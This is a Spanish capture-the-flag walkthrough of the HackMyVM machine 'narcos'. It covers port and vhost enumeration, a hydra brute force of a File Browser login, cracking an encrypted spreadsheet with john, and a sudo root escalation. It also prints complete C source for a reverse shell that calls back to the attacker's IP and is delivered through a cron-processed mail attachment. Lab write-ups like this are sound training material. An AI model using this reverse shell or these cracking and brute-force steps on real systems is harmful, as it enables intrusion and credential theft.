Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.27
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 01:44 -03
Nmap scan report for 192.168.1.27
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:ca:69:62:40:8f:bb:10:a2:49:06:30:74:83:9d:69 (RSA)
| 256 7b:25:91:f3:04:54:3d:c3:c2:44:9b:b7:00:b9:38:bb (ECDSA)
|_ 256 a8:23:a4:df:f8:e9:6a:8e:fe:74:38:fa:48:c7:59:df (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Escobar Store
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 secondsEnumeración web y subdominios
Enumeramos directorios con gobuster. Destaca /squirrelmail, el webmail que usaremos más adelante:
❯ gobuster dir -u 192.168.1.27 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/images (Status: 200) [Size: 1331]
/index.html (Status: 200) [Size: 11550]
/js (Status: 200) [Size: 954]
/squirrelmail (Status: 200) [Size: 2912]
/bootstrap (Status: 200) [Size: 1313]
...Al iniciar la máquina, HackMyVM nos entrega el dominio escobar.hmv, que añadimos a /etc/hosts. Fuzzeamos subdominios (vhosts) con wfuzz, filtrando por el tamaño de la respuesta por defecto (--hh 11550) para descartar el contenido idéntico al sitio principal:
❯ wfuzz -u 'http://escobar.hmv' -H 'Host: FUZZ.escobar.hmv' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 11550
...
000001030: 200 102 L 292 W 4245 Ch "management"
...File Browser y crackeo del Excel
Accedemos a management.escobar.hmv y nos encontramos con un File Browser. Investigando un poco, descubrimos que el repositorio del proyecto define admin como usuario por defecto, así que hacemos fuerza bruta de la contraseña contra su API de login:
❯ hydra -l admin -P ~/Documentos/wordlists/rockyou.txt management.escobar.hmv http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Forbidden' -t 64
...
[80][http-post-form] host: management.escobar.hmv login: admin password: gabriela
...Dentro encontramos un logins.xlsx cifrado. Extraemos su hash con office2john y lo crackeamos con john:
❯ office2john logins.xlsx > hash
❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
money1 (logins.xlsx)
...RCE vía cron de correos
Accedemos al webmail (SquirrelMail) como gonzalo y descubrimos que hay una tarea cron que procesa los adjuntos de los correos. Editamos un correo y adjuntamos un binario update malicioso, una reverse shell escrita en C:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "192.168.1.10"
#define REMOTE_PORT 4321
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}Lo compilamos de forma estática (-static) para evitar problemas de librerías en la víctima:
❯ gcc reverse_shell.c -o update -staticDejamos netcat a la escucha en nuestra máquina y esperamos. Cuando se dispara el cron, recibimos una shell como el usuario carlos y la primera flag.
Escalada de privilegios
Reutilizando las credenciales encontradas previamente, saltamos al usuario pablo. Revisamos qué puede ejecutar con sudo:
pablo@narcos:/home/carlos$ sudo -l
Matching Defaults entries for pablo on narcos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pablo may run the following commands on narcos:
(ALL : ALL) ALLpablo tiene permisos equivalentes a superusuario, así que solo nos resta lanzar una shell con privilegios:
pablo@narcos:/home/carlos$ sudo bash -p
root@narcos:/home/carlos#Obtenemos la segunda flag.
Fin.